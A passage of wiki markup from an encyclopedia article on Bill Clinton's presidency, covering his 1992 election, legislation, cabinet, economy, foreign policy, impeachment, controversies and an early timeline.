Three factors made this possible. First, the campaign came in the midst of the [[Late 1980s recession|recession of 1992]]. While in historical terms the recession was mild and actually ended before the election, the resulting job loss (especially among middle managers not yet accustomed to white collar downsizing) fueled strong discontent with Bush, who was successfully portrayed as aloof, out of touch, and overly focused on foreign affairs. Highly telegenic, Clinton was perceived as sympathetic, concerned, and more in touch with ordinary families.

=====Tax Increases=====
Second was the decision by Bush to accept a tax increase. Pressured by rising budget deficits, increased demand for entitlement spending and reduced tax revenues (each a consequence of the recession) Bush agreed to a budget compromise with Congress (where rival Democrats held the majority). Not having been in Congress at the time, Clinton was able to effectively condemn the tax increase on both its own merits and as a reflection of Bush's honesty. Effective Democratic TV ads were aired showing a clip of Bush's infamous 1988 campaign speech in which he promised &quot;[[Read my lips: no new taxes|Read my lips ... No new taxes.]]&quot;

=====Ross Perot=====
Finally, Bush's coalition was in disarray. Ross Perot's independent campaign played to moderates' concerns about the budget deficit, siphoning crucial swing votes from Bush. Meanwhile, conservative voters &amp;mdash; especially social conservatives-- lacked confidence in Bush, an avowed moderate. Previously, conservatives had been united by anti-communism; with the end of the Cold War, old rivalries re-emerged. Meanwhile, despite a fractious and ideologically diverse party, Clinton was able to successfully court all wings of the Democratic party, even where they conflicted. To garner the support of moderates and conservative Democrats, he cannily attacked [[Sister Souljah]], a rap musician whose lyrics Clinton condemned. Clinton could also point to his moderate, New Democrat record as Governor of Arkansas. More liberal Democrats were impressed by Clinton's academic credentials, 60's-era protest record, and support for social causes such as a woman's right to abortion. Supporters remained energized and confident, even in times of scandal or missteps.

Clinton was the first Democrat to serve two full terms as president since [[Franklin D. Roosevelt]]. His election ended an era in which the Republican party had controlled the [[White House]] for 12 consecutive years, and for 20 of the previous 24 years. That election also brought the Democrats full control of the political branches of the federal government, including both houses of [[Congress of the United States|U.S. Congress]] as well as the presidency, for the first time since the administration of the last Democratic president, [[Jimmy Carter]].

==First Term==
===Significant events of the first term===
Clinton's first act as president was to sign [[executive order]] 12834 (entitled &quot;Ethics Commitments by Executive Branch Appointees&quot;), which placed substantial restrictions upon the ability of his senior political appointees to [[lobbying|lobby]] their colleagues after they leave office. Clinton rescinded the order shortly before he left office in executive order 13184 of [[December 28]], [[2000]].

[[Image:ClintonGore2.jpg|thumb|200px|left|Clinton and Vice President Gore talk while walking through the Colonnade at the White House.]]

Shortly after taking office, Clinton fulfilled a campaign promise by signing the [[Family and Medical Leave Act of 1993]], which required large employers to allow their employees to take unpaid leave because of pregnancy or serious medical condition. While this action was popular, Clinton's initial reluctance to fulfill another campaign promise relating to the acceptance of openly [[homosexual]] members of the [[military]] garnered criticism from both the left (for being too tentative in promoting [[gay rights]]) and the right (for being too insensitive to military life).  During the campaign, Clinton had promised to lift the ban on gays serving their country.  Instead, after much debate, Clinton implemented the &quot;[[Don't Ask, Don't Tell]]&quot; policy, which still remains in effect, stating that homosexual men and women may serve in the military as long as their sexuality is kept secret; heterosexual soldiers are under no such restrictions.  By 1999, Clinton said he didn't &quot;think any serious person could say&quot; that the policy was not &quot;out of whack&quot;. &lt;ref&gt;[http://archives.cnn.com/1999/ALLPOLITICS/stories/12/11/clinton.gays.military/index.html President seeks better implementation of 'don't ask, don't tell'] - [[CNN]], [[December 11]], [[1999]]&lt;/ref&gt; Some gay rights advocates criticized Clinton for not going far enough and accused him of making his campaign promise simply to get votes and contributions. &lt;ref&gt;[http://www.findarticles.com/p/articles/mi_m1316/is_n11_v28/ai_18855826 Stranger Among Friends. - book reviews] - John Cloud, ''[[Washington Monthly]]'', November 1996&lt;/ref&gt;,
&lt;ref&gt;[http://www.gaymilitary.ucsb.edu/PressClips/03_0110_WashingtonBladeEd.htm Washington Blade Editorial: Bush Has Mandate to Let Gays Serve] - Kevin Naff, [[Center for the Study of Sexual Minorities in the Miliary]], [[January 10]], [[2003]]&lt;/ref&gt; These advocates felt Clinton should have integrated the military by executive order, noting that President Harry S Truman ended segregation of the armed forces in that manner.  Clinton's defenders argued that an executive order might have prompted the then-Democrat-controlled Senate to write the exclusion of gays into law, potentially making it even harder to integrate the military in the future.

Clinton pushed another controversial issue during this period: that of free trade. In 1993, Clinton supported the [[North American Free Trade Agreement]] for ratification by the US Senate. Despite being negotiated by his Republican predecessor, Clinton (along with most of his Democratic Leadership Committee allies) strongly supported free trade measures. Though the measure was opposed by some anti-trade Republicans, most of the opposition came from protectionist Democrats and supporters of Ross Perot. Ultimately, the treaty was ratified, a major legislative victory.

Clinton also signed into law the [[Brady Bill]], which imposes a five-day waiting period on handgun purchases so that background checks can be done to help keep handguns away from criminals. President Clinton expanded the [[Earned Income Tax Credit]], which benefits [[working class]] families with dependent children.

The most important item on Clinton's legislative agenda, however, was [[Clinton health care plan|a complex health care reform plan]], the result of a taskforce headed by [[Hillary Clinton]], aimed at achieving universal coverage via a national healthcare plan. Though initially well-received in political circles, it was ultimately doomed by well-organized opposition from conservatives, doctors and the health insurance industry. Despite his party holding a majority in the House and Senate, the effort to create a national healthcare system ultimately died under heavy public pressure. It was the first major legislative defeat of Clinton's administration.

Two months later, after two years of Democratic party control under Clinton's leadership, the [[U.S. House election, 1994|mid-term elections in 1994]] proved disastrous for the Democrats. They lost control of both houses of Congress for the first time in 40 years, in large part due to the failed attempt to create a comprehensive health care system.
[[Image:Rabin at peace talks.jpg|frame|[[Yitzhak Rabin]], Clinton, and [[Yasser Arafat]] during the [[Oslo Accords]] on [[September 13]] [[1993]].]]

===Significant events of the second term===
After the 1994 election, the spotlight shifted to the [[Contract with America]] spearheaded by [[Speaker of the United States House of Representatives|Speaker of the House]] [[Newt Gingrich]]. This initiative presented a blanket of traditional Republican proposals, plus a number of anti-corruption measures. Without a friendly legislative body, Clinton shifted from pushing new policy to blocking the Republican (GOP) agenda.

The Republican-controlled Congress and Clinton first sparred over the budget. Clinton signed the [[Omnibus Budget Reconciliation Act of 1993]], which significantly raised taxes on the top 2% of taxpayers, without providing middle class tax cuts as he promised during the campaign. Meanwhile, Republicans pushed for reform in spending on entitlement programs. While always a traditional source of conflict between the parties, Ross Perot's surprisingly good showing demonstrated public impatience with the budget deficit. When the GOP passed a budget with significant spending cuts, they believed that Clinton could either sign the bill (a major political defeat) or veto it (resulting in a shutdown of most government services). GOP leaders believed that their recently energized supporters would stand with them, while the shutdown would be blamed on Clinton's veto of the spending bills. Clinton instead vetoed the bills and staged a media blitz, rallying his constituencies to blame the shutdown on the Republicans. The public largely agreed with Clinton's interpretation of the situation, and the Republicans suffered a major political defeat. The perception that the congressional Republicans were dangerous radicals stayed with them for the remainder of the Clinton presidency, and Clinton repeatedly made skillful use of this perception to pass his initiatives while blocking theirs.

Clinton cleverly managed the other major challenge posed by the Contract with America: that of [[welfare reform]]. The welfare system, unpopular with middle class voters, was a major target of the Republicans. However, rather than present the programs as inefficient, bureaucratic and expensive, as they had (unsuccessfully) done in the past, their new tactic was to focus on the success of welfare in its stated goal: fighting poverty. In this they were more successful. Using statistics often compiled by welfare advocates to demand more spending, they pointed to a widening gap between rich and poor and the emergence of a dependent welfare &quot;underclass&quot;. Under their proposed welfare reform, individuals could not receive benefits for more than five years. States, meanwhile, would receive &quot;block grants&quot; of federal funds that they would be free to spend on anti-poverty initiatives as they wished, rather than according to federal rules. This amounted to a major shift in welfare policy, and was bitterly contested by Democrats. Clinton, however, supported the plan (to the fury and astonishment of even some members of his Cabinet). In his 1996 State of the Union speech, Clinton promised to &quot;end welfare as we know it&quot;. He later signed the [[Personal Responsibility and Work Opportunity Act]] of 1996.

This proved to be a major political victory, and a vindication of his strategy of &quot;triangulation&quot;. Republicans were robbed of the issue with which they were getting the best traction, while Clinton was presented as a fair-minded, mainstream moderate. In the [[U.S. presidential election, 1996|1996 presidential election]] a few months later, Clinton was re-elected, receiving 49.2% of the popular vote over Republican [[Bob Dole]] (40.7% of the popular vote) and [[Reform Party USA|Reform]] candidate [[Ross Perot]] (8.4% of the popular vote). The Republicans lost a few seats, but overall retained control of the Congress.

In 1998, as a result of allegations that he had lied during grand jury testimony regarding his [[Lewinsky scandal|personal indiscretions]] with a young female White House intern ([[Monica Lewinsky]]), Clinton was the second U.S. president to be [[impeached]] by the House of Representatives. He was tried in the Senate and acquitted of the charges brought against him. Clinton initially denied having any improper relationship with Lewinsky. After it was revealed that investigators had obtained a semen-stained dress as well as testimony from Lewinsky, Clinton admitted that an improper relationship with Lewinsky had taken place. He apologized to the nation for his actions, agreed to pay a $25,000 court fine, settled his sexual harassment lawsuit with [[Paula Jones]] for $850,000 and was disbarred from practicing law in Arkansas and before the U.S. Supreme Court. He was not tried for or found guilty of perjury in a court.

In the closing year of his Administration, Clinton attempted to address the [[Arab-Israeli conflict]]. After initial successes such as the Oslo accords of the early 90's, the situation had quietly deteriorated, breaking down completely with the start of the [[Second Intifada]]. Clinton brought Israeli Prime Minister Ehud Barak and Palestinian Authority Chairman [[Yasser Arafat]] together at [[Camp David]]. However, these negotiations proved unsuccessful. Critics charged Clinton with trying to &quot;shoot the moon&quot; to benefit his historical legacy, but instead making the situation worse with a botched negotiation. Supporters consider Clinton to have attempted to address new tensions from the recent outbreak of violence at its root causes, and that Clinton can hardly be blamed for a centuries-old conflict. They further argue that Arafat's decision to walk away from an offer that contained all his previously stated demands freed the US to pursue a tougher policy in later years.

Despite occasional political troubles, Clinton remained popular with the American people. In addition to his political skills, Clinton also benefited from a very strong US economy. In 1999, the United States had a projected federal budget surplus for the first time since 1969. By 1998 it was a $70 billion budget surplus. While Clinton, Congress and the private sector have all been given credit at different times, this economic success was a source of immense political strength for Clinton. The collapse of the dot-com bubble and resulting recession began in the closing months of Clinton's presidency, when attention had turned to his successors. He remained popular through and beyond the end of his terms in office.

===Legislation and programs===
{{col-begin}}
{{col-2}}

====Major legislation signed====
* [[February 5]] [[1993]] - [[FMLA|The Family and Medical Leave Act of 1993]]
* [[August 10]] [[1993]] - [[Omnibus Budget Reconciliation Act of 1993]] - Raised income tax rates; [[income tax]], top rate: 39.6%; [[corporate tax]]: 35%
* [[September 21]] [[1993]] - creation of the [[AmeriCorps]] volunteer program
* [[November 30]] [[1993]] - [[Brady Handgun Violence Prevention Act|Brady Bill]]
* [[September 13]] [[1994]] - [[Violent Crime Control and Law Enforcement Act]], part of an omnibus crime bill, the federal [[capital punishment|death penalty]] was expanded to some 60 different [[offense]]s (see [[Federal assault weapons ban]])
* 1995 - [[Executive Order 12958]], created tough new standards for the process of classifying documents.
* [[February 1]] [[1996]] - [[Communications Decency Act]]
* [[February 8]] [[1996]] - [[Telecom Reform Act]]: eliminated major ownership restrictions for radio and television groups.
* [[February 26]] [[1996]] - Personal Responsibility and Work Opportunity Reconciliation Act, a [[welfare reform]] bill
* [[March 14]] [[1996]] - authorized $100 million [[anti-terrorism]] agreement with [[Israel]] to track down and root out [[terrorism|terrorists]].
* [[April 9]] [[1996]] - [[Line Item Veto Act of 1996|Line Item Veto Act]]
* [[April 24]] [[1996]] - [[Anti-Terrorism and Effective Death Penalty Act]]
* [[August 20]] [[1996]] - [[Minimum wage]] Increase Act
* [[September 21]] [[1996]] - [[Defense of Marriage Act]], allowed states the power to refuse to recognize [[gay marriage]]s granted in other states, among other things
* [[August 5]] [[1997]] - [[Taxpayer Relief Act of 1997]]
* [[October 28]] [[1998]] - [[Digital Millennium Copyright Act]]
* [[October 31]] [[1998]] - [[Iraq Liberation Act]]
{{col-2}}

====Major legislation vetoed====
* [[United States budget process|national budget]]
* H.R. 1833, [[partial birth abortion]] ban
* Twice vetoed [[welfare reform]] before signing
* the [[Private Securities Litigation Reform Act]]. [[Congress]] overrode the veto, however, to enact the bill into law.

====Proposals not passed by Congress====
* [[Clinton health care plan|Health care reform]]
* [[Campaign finance reform]] (1993)

====Initiatives====
* Appointed a committee on [[Social Security (United States)|Social Security]] Reform and then dismissed their recommendations without ever proposing legislation.
* Tried to get [[Ehud Barak]] of [[Israel]] and [[Yasser Arafat]] of the [[Palestinian National Authority]], to agree to a final [[Israeli-Palestinian conflict|settlement agreement]].
* Initiated the [[Don't ask, don't tell]] policy toward [[gay]]s in the military, 1993.
* Reversed a ban on senior [[Sinn Féin]] politicians entering the U.S.
* Proposed a national challenge to end the racial divide in America, the [[One America Initiative]].
* [[Extraordinary rendition]], or &quot;torture by proxy&quot; got approval for the first time in the USA from the Clinton administration.
{{col-end}}

{{col-begin}}
{{col-2}}

===Cabinet===
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[President of the United States|President]]||'''Bill Clinton'''||1993-2001
|-
|[[Vice President of the United States|Vice President]]||'''[[Al Gore]]'''||1993-2001
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[United States Secretary of State|State]]||'''[[Warren M. Christopher]]'''||1993-1997
|-
| ||'''[[Madeleine K. Albright]]'''||1997-2001
|-
|[[United States Secretary of the Treasury|Treasury]]||'''[[Lloyd Bentsen]]'''||1993-1994
|-
| ||'''[[Robert E. Rubin]]'''||1995-1999
|-
| ||'''[[Lawrence H. Summers]]'''||1999-2001
|-
|[[United States Secretary of Defense|Defense]]||'''[[Les Aspin]]'''||1993-1994
|-
| ||'''[[William J. Perry]]'''||1994-1997
|-
| ||'''[[William S. Cohen]]'''||1997-2001
|-
|[[Attorney General of the United States|Justice]]||'''[[Janet Reno]]'''||1993-2001
|-
|[[United States Secretary of the Interior|Interior]]||'''[[Bruce Babbitt]]'''||1993-2001
|-
|[[United States Secretary of Agriculture|Agriculture]]||'''[[Mike Espy]]'''||1993-1994
|-
| ||'''[[Daniel R. Glickman]]'''||1994-2001
|-
|[[United States Secretary of Commerce|Commerce]]||'''[[Ronald H. Brown]]'''||1993-1996
|-
| ||'''[[Mickey Kantor]]'''||1996-1997
|-
| ||'''[[William M. Daley]]'''||1997-2000
|-
| ||'''[[Norman Y. Mineta]]'''||2000-2001
|-
|[[United States Secretary of Labor|Labor]]||'''[[Robert B. Reich]]'''||1993-1997
|-
| ||'''[[Alexis M. Herman]]'''||1997-2001
|-
|[[United States Secretary of Health and Human Services|HHS]]||'''[[Donna E. Shalala]]'''||1993-2001
|-
|[[United States Secretary of Education|Education]]||'''[[Richard Riley]]'''||1993-2001
|-
|[[United States Secretary of Housing and Urban Development|HUD]]||'''[[Henry G. Cisneros]]'''||1993-1997
|-
| ||'''[[Andrew Cuomo]]'''||1997-2001
|-
|[[United States Secretary of Transportation|Transportation]]||'''[[Federico F. Peña]]'''||1993-1997
|-
| ||'''[[Rodney E. Slater]]'''||1997-2001
|-
|[[United States Secretary of Energy|Energy]]||'''[[Hazel O'Leary]]'''||1993-1997
|-
| ||'''[[Federico F. Peña]]'''||1997-1998
|-
| ||'''[[Bill Richardson (politician)|Bill Richardson]]'''||1998-2001
|-
|[[United States Secretary of Veterans Affairs|Veterans Affairs]]||'''[[Jesse Brown]]'''||1993-1997
|-
| ||'''[[Togo D. West, Jr.]]'''||1998-2000
|-
| ||'''[[Hershel W. Gober]]''' (act.)||2000-2001
|}
{{col-2}}
[[Image:ClintonAdmin.jpg|center|300px|thumb|President Clinton's First Cabinet, 1993]]

===Supreme Court appointments===
Clinton appointed the following justices to the [[Supreme Court of the United States|Supreme Court]]:
* [[Ruth Bader Ginsburg]] - 1993, making Clinton the first Democratic president to appoint a female Supreme Court justice.
* [[Stephen Breyer]] - 1994
{{col-end}}

===The economy===
During Clinton's tenure, the U.S. enjoyed continuous economic expansion, reductions in unemployment, and growing wealth through a massive rise in the [[stock market]]. The economic boom ended shortly before his term ended, possibly indicative of a [[stock market bubble]]. Although the reasons for the expansion are continually debated, Clinton proudly pointed to a number of economic accomplishments, including:

* More than 22 million new jobs
* Homeownership rate increase from 64.0% to 67.5%
* Lowest unemployment rate in 30 years
* Higher incomes at all levels
* Largest budget deficit in American history converted to the largest surplus of over $200 billion
* Lowest government spending as a percentage of GDP since 1974 &lt;ref&gt;[http://www.gpoaccess.gov/usbudget/fy00/guide04.html Citizen's Guide to the Federal Budget: Fiscal Year 2000] - [[United States]] [[Government Printing Office]] ([[GPO]])&lt;/ref&gt;
* Higher stock ownership by families than ever before
* 220% increase in the Dow Jones Industrial Average, 300% increase in the Nasdaq from 1993 to 2001

The reasons for this growth are hotly debated, but Clinton supporters cite his [[Omnibus Budget Reconciliation Act of 1993|1993 tax increase]] as the reason that eventually led to the reduction in the annual budget deficits every year of his tenure. These deficit reductions stimulated consumption and consumer spending and strengthened the dollar, which encouraged foreign investment in the United States economy. [[Alan Greenspan]] supported the 1993 tax increase, which was approved by Congress without a single Republican vote. &lt;ref&gt;[http://www.dickinson.edu/~rudaleva/greenspan.htm Behind the Boom] - Bob Woodward, ''[[The Washington Post]]'', [[November 12]], [[2000]] &lt;/ref&gt; Critics of Clinton point to [[Alan Greenspan]]'s strong chairmanship of the Federal Reserve, 1995 spending cuts and the Republican Party's [[Contract with America]] initiatives as alternative reasons for America's strong economic growth of the late 90's. Critics also argue that the economic recovery had already begun before Bill Clinton took office and did not pick up momentum until 1995 and 1996, after the GOP took over Congress (despite the fact that GDP growth was higher in 1994 than in either 1995 or 1996). Many economists attribute massive growth to the .com boom which just happened to come during Clinton's term, thus adding many new jobs which cannot be attributed to policies of the Clinton administration.

===Trade===
Clinton strongly supported the [[North American Free Trade Agreement|NAFTA, the North American Free Trade Agreement]]. Initiated during the tenure of his predecessor, [[George H.W. Bush]], it was passed by the [[United States Congress]] in 1993, after Clinton and Gore lobbied heavily for it.

The Clinton administration used the [[WTO]] [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] thirteen times
and prevailed in the WTO thirteen times.&lt;ref&gt;[http://www.onpointradio.org/shows/2005/07/20050725_b_main.asp Policing Intellectual Property Across Borders] - audio 12:40-16:30, [[WBUR]] [[Boston]], [[NPR]] news, aired [[July 25]], [[2005]]&lt;/ref&gt;

===Foreign policy===
[[Image:Clinton_Blair.jpg|thumb|right|Clinton embraces British Prime Minister [[Tony Blair]].]]
[[Image:Clinton and jiang.jpg|right|thumb|[[Jiang Zemin]] and Bill Clinton.]]
[[Image:Clinton Yeltsin sax.jpg|thumb|right|Clinton plays the saxophone presented to him by Russian President [[Boris Yeltsin]] at a private dinner in Russia, January 13, 1994]]

Clinton deployed the U.S. military several times under hostile circumstances.  In 1993, U.S. troops, initially deployed to [[Somalia]] by the Bush administration, fought the [[Battle of Mogadishu]] which attempted to capture local warlord [[Mohamed Farrah Aidid]]. The administration withdrew U.S. troops after suffering 18 casualties (19 according to the film ''Black Hawk Down'') and 73 wounded in the battle. In 1994, Clinton sent U.S. troops into [[Haiti]] to restore [[Jean-Bertrand Aristide]] as president, ending a period of intense violence. Aristide, who had been elected, had been ousted in a coup just seven months into his term in 1991. Clinton also committed troops twice in the former-[[Yugoslavia]] to stop ethnic violence, most notably in [[Kosovo War|Kosovo]]. In addition, Clinton launched military strikes on Iraq several times to punish violations of [[UN]] sanctions and an attempt to have former President George H. W. Bush assassinated. Clinton did not intervene militarily to end the [[Rwandan genocide]], a decision he later regarded as a &quot;personal failure&quot;.

In 1994, Clinton negotiated and signed the Nuclear Accords with [[North Korea]]. The underlying concern was that North Korea was developing [[nuclear weapon]]s technology under the guise of a nuclear power plant. In exchange for assistance with energy needs, North Korea agreed to abandon all ambitions for acquiring nuclear weapons. However, by the mid 1990s defectors from North Korea, along with reports from the [[IAEA]], indicated that North Korea was violating both the Nuclear Accords and the Nuclear Non-Proliferation Treaty. In [[December 2002]], North Korea expelled IAEA inspectors from its Yongbyon nuclear facility, and announced (privately in 2003 and publicly in 2005), that they possessed nuclear weapons.

In November, 1995, Clinton committed troops to the Balkans saying the mission would be “precisely defined with clear realistic goals” that could be achieved in a “definite period of time&quot;. Clinton assured Americans the mission would take about one year. In October 1996, shortly before Clinton's reelection, the Clinton Administration denied any change in the plans to withdraw troops in December, 1996. However, shortly after reelection, Clinton announced troops would stay longer. Troops ultimately stayed in Bosnia for nine years. &lt;ref&gt;[http://www.foxnews.com/story/0,2933,176728,00.html Should Congress Investigate Misleading Prewar Intelligence?] - Timothy Lynch, [[FOX]], [[November 25]], [[2005]]&lt;/ref&gt;

On [[February 17]] [[1998]], Clinton gave a speech signaling the danger of rogue nations providing weapons of mass destruction to terrorist organizations with global reach. Clinton specifically pointed to Saddam Hussein's Iraq. &lt;ref&gt;[http://www.cnn.com/ALLPOLITICS/1998/02/17/transcripts/clinton.iraq/ Text Of Clinton Statement On Iraq] - transcript of Clinton speech on [[February 18]], [[1998]], retrieved from [[CNN]], [[February 25]], [[2006]]&lt;/ref&gt; In August 1998 UN weapons inspectors left Iraq, leading to [[Operation Desert Fox]] in December.

During Clinton's tenure, [[Al-Qaeda]] began to emerge as a major terrorist threat. In 1998, the group [[1998 U.S. embassy bombings|bombed]] the American embassies in [[Tanzania]] and [[Kenya]]. In retaliation, Clinton ordered [[Operation Infinite Reach]], which involved [[cruise missile]] strikes on terrorist camps in [[Kandahar]], [[Afghanistan]] and a suspected chemical weapons facility in [[Khartoum]], [[Sudan]] that was believed to be tied to bin Laden. &lt;ref&gt;[http://www.cnn.com/US/9808/20/us.strikes.01/ U.S. missiles pound targets in Afghanistan, Sudan] - [[CNN]], [[August 20]], [[1998]]&lt;/ref&gt; Clinton also gave orders authorizing the arrest or, if need be, assassination of Al-Qaeda leader [[Osama bin Laden]]. At the end of his term, in late 2000, the terrorists struck again with the [[USS Cole bombing]]. By this time, Clinton has stated he regarded Al-Qaeda as the foremost threat to national security. &lt;ref&gt; [http://www.nytimes.com/2004/03/20/politics/20PANE.html?hp=&amp;pagewanted=print&amp;position= Clinton Aides Plan to Tell Panel of Warning Bush Team on Qaeda] - Phlip Shenon, ''[[New York Times]]'', [[March 20]], [[2004]] ([http://www.commondreams.org/headlines04/0320-07.htm Alternative copy], no registration required) &lt;/ref&gt; In the wake of the [[September 11, 2001 attacks]], the independent investigating commission was critical of Clinton for focusing more on diplomatic than military means to eliminate the bin Laden threat. &lt;ref&gt;[http://www.washingtonpost.com/wp-dyn/articles/A18972-2004Mar23.html 9/11 Panel Critical of Clinton, Bush] - Dan Eggen and John Mintz, ''[[Washington Post]]'', [[March 24]], [[2004]]&lt;/ref&gt;

Some critics argue that the American attacks in [[Kosovo War#Criticism of the Case for War|Kosovo]], Somalia, Bosnia, Sudan, and Afghanistan violated international law. &lt;ref&gt;[http://www.thirdworldtraveler.com/International_War_Crimes/ClintonWarCriminal_Herman.html Clinton Is The WorId's Leading Active War Criminal] - Edward S. Herman, [[Z Magazine]], December 1999 &lt;/ref&gt; &lt;ref&gt;[http://agitprop.org.au/stopnato/19990607clintoncriminal.php The other war criminal -- Bill Clinton] - Alexander Cockburn, [[San Jose Mercury]], [[June 3]], [[1999]]&lt;/ref&gt; &lt;ref&gt;[http://www.wnd.com/news/article.asp?ARTICLE_ID=14713 Clinton's dirty little war] - Joseph Farah, WorldNetDaily, [[April 5]], [[1999]] &lt;/ref&gt;

After his presidency, Clinton identified his proudest foreign policy accomplishments as mediating peace talks between Israel and the PLO, resulting in the [[Oslo Accords]] (1993). Subsequent events, including the collapse of the [[2000 Camp David Summit]] and the commencement of the [[al-Aqsa Intifada]], resulted in the Oslo Accords being widely discredited within Israel and in various Palestinian factions by 2004.

Clinton identified his major foreign policy failure as lack of response to the 1994 [[genocide]] in [[Rwanda]]. Along with the United Nations, the Clinton administration initially did not publicly acknowledge that genocide was occurring.

===Impeachment and controversies===
{{main|Impeachment of Bill Clinton}}
In 1999, Clinton was acquitted by the Senate on two impeachment charges brought by the U.S. House of Representatives: perjury and obstruction of justice.  The perjury charge arose from Clinton's testimony about his relationship to [[Monica Lewinsky]] during a sexual harassment lawsuit brought by former Arkansas-state employee [[Paula Jones]].  The obstruction charge was based on his actions during the subsequent investigation of that testimony.  On [[February 12]], the Senate concluded a 21-day trial with the vote on both counts falling short of the Constitutional requirement of a two-thirds majority to convict and remove an office holder. The final vote was party-line, with none of the 45 Democratic Senators voting for conviction on either charge.  On the perjury charge 55 senators voted to acquit and 45 voted to convict; on the obstruction charge the Senate voted 50-50. &lt;ref&gt;[http://www.cnn.com/ALLPOLITICS/stories/1999/02/12/impeachment/ Clinton acquitted; president apologizes again] - [[CNN]], [[February 12]], [[1999]]&lt;/ref&gt;  Clinton, like the only other president to be impeached, [[Andrew Johnson]], served the remainder of his term.

The day before leaving office, Clinton agreed to a five-year suspension of his Arkansas law license as part of an agreement with the independent counsel to end the investigation. Based on this suspension, Clinton was also automatically suspended from the United States Supreme Court bar, from which he chose to resign. [17][18] Clinton's resignation was mostly symbolic, as he had never practiced before the Supreme Court and was not expected to in the future. Clinton also was assessed a $90 000 fine by federal judge Susan Webber Wright for contempt of court. The Paula Jones lawsuit was settled out of court for $850 000.

In addition to impeachment and the [[Whitewater scandal]], the Clinton White House was the subject of many other controversies.

The [[White House travel office controversy]] involved allegations of impropriety in the firing of civil service staffers.  The [[White House personnel file controversy]] involved improper access by security officials to FBI files on White House personnel, without first asking for the individuals' permission.  The [[Bill Clinton pardons controversy]] involved a grant of clemency to [[FALN]] bombers in 1999 and pardons to his [[Roger Clinton, Jr.|brother]], tax-evading billionaire [[Marc Rich]] and others in 2001 (see [[List of people pardoned by Bill Clinton]]).

[[Image:Clinton-riady-huang.jpg|left|thumb| President Clinton with convicted felons John Huang (center) and James Riady (right) in the Oval Office]]The [[1996 U.S. campaign finance scandal|&quot;Chinagate&quot;]] controversy involved allegations of improper campaign contributions to President Clinton's legal defense fund and the Democratic National Committee, by individuals such as John Huang, James Riady, and Maria Hsia, et al. Allegedly, the ultimate source of this money was the Chinese government. Seventeen donors and fund-raisers were convicted of felonies due to the affair.

In March, 1998 [[Kathleen Willey]], a White House aide, alleged that Clinton had sexually assaulted her. Also in 1998, [[Juanita Broaddrick]] alleged that Clinton had raped her in 1978. No charges were filed in either case.  

[[Secretary of Agriculture]] [[Mike Espy]] was acquitted on each of 30 charges of illegally accepting gifts such as sports tickets, lodging, and transportation from companies regulated by his department in exchange for favors.  &lt;ref&gt;[http://www.washingtonpost.com/wp-srv/politics/special/counsels/stories/espy120498.htm A Harsh Verdict for Espy's Prosecutor] - Bill Miller, ''[[Washington Post]]'', [[December 5]], [[1998]]&lt;/ref&gt; [[United States Department of Housing and Urban Development|HUD]] Secretary [[Henry Cisneros]] was indicted on 18 counts of conspiracy, giving false statements and obstruction of Justice. He pleaded guilty to a misdemeanor of lying to the [[FBI]] about the amount of money he gave his mistress, political fundraiser [[Linda Medlar]]. Medlar plead guilty to 28 counts related to the investigation. Both Medlar and Cisneros were pardoned by Clinton. 

On Clinton's last day in office, he pardoned over 200 convicted felons, including his brother Roger, who was imprisoned on drug charges and [[Dan Rostenkowski]], the former Chairman of [[United States House Committee on Ways and Means|House Ways and Means Committee]] who had been convicted on corruption and mail fraud charges.  Another one of those pardoned was Marc Rich, a financier who had fled the United States decades before for tax evation and other illegal activities. Many questioned the pardon, stating that Rich's wife Denise had pleaded with the president for years to pardon her ex-husband and that she personally donated money to his presidential library in exchange for a pardon for her husband. These actions quickly led to public hearings by congress into the legality of all of Clinton's presidential pardons. Clinton's approval rating, when he left office was 61%, it quickly dropped by nearly twenty points to 43% after the scandals broke out.

===The ''&quot;vast right-wing conspiracy&quot;'' charge===
The Clinton Administration was the subject of many investigations and accusations of misconduct and illegality. Led by a network of largely conservative talk radio media outlets, including [[Rush Limbaugh]], and television commentators such as [[FOX NEWS]]' [[Sean Hannity]], [[Geraldo Rivera]], and [[Bill O'Reilly (commentator)|Bill O'Reilly]], made accusations of corruption and dishonesty against Clinton and his administration almost daily.  Other efforts such as the [[Arkansas Project]] funded by wealthy conservatives such as Pittsburgh banking heir [[Richard Mellon Scaife]] went about trying to find suggestions of wrongdoing in Clinton's past and publicizing allegations. On NBCs &quot;Today Show,&quot; Hillary Rodham Clinton described this informal network as a &quot;''[[vast right-wing conspiracy]]''.&quot; She was ridiculed by conservative media networks for the statement, but former conservative journalist [[David Brock]] has described in books his own involvement in exaggerating claims against the Clintons and the network of conservative media operations that kept such accusations at the forefront of the public's attention.

===Timeline===
* [[November 3]] [[1992]] - [[U.S. presidential election, 1992|Clinton is elected]], defeating [[United States Republican Party|Republican]] incumbent [[George H.W. Bush]] and billionaire businessman [[H. Ross Perot]].
* [[January 20]] [[1993]] - First [[Inauguration Day|inauguration]].
* [[February 26]] [[1993]] - World Trade Center terrorist attack. The [[World Trade Center bombing]] killed 6 and injured over 1,000 people.
* [[April 19]] [[1993]] - A government siege of the [[Branch Davidians|Branch Davidian]] compound at [[Waco, Texas]], results in the deaths of 80 people when a cult leader allegedly sets fire to his own compound. Clinton and [[United States Attorney General|Attorney General]] [[Janet Reno]] receive criticism for mishandling the stand-off.
* [[July 20]] [[1993]] - Clinton friend and confidant [[Vince Foster]] is found dead of a gunshot wound; later determined to be [[suicide]].
* [[September 13]] [[1993]] - Clinton brings together [[Israeli Prime Minister]] [[Yitzhak Rabin]] and Chairman of the [[Palestinian Liberation Organization]] [[Yasser Arafat]] on the [[White House]] lawn.
* [[October 3]] [[1993]] - [[Battle of Mogadishu]] - [[U.S. Army Rangers|Ranger Units]] receive heavy casualties in [[Somalia]] (the [[Black Hawk Down]] incident).
* [[January 14]] [[1994]] - Clinton and [[President of Russia|Russian President]] [[Boris Yeltsin]] sign the [[Kremlin accords]] which stop the preprogrammed aiming of [[nuclear missile]]s to targets and also provide for the dismantling of the nuclear arsenal in [[Ukraine]].
* [[November 8]] [[1994]] - Republicans elected to majorities in both houses of Congress.
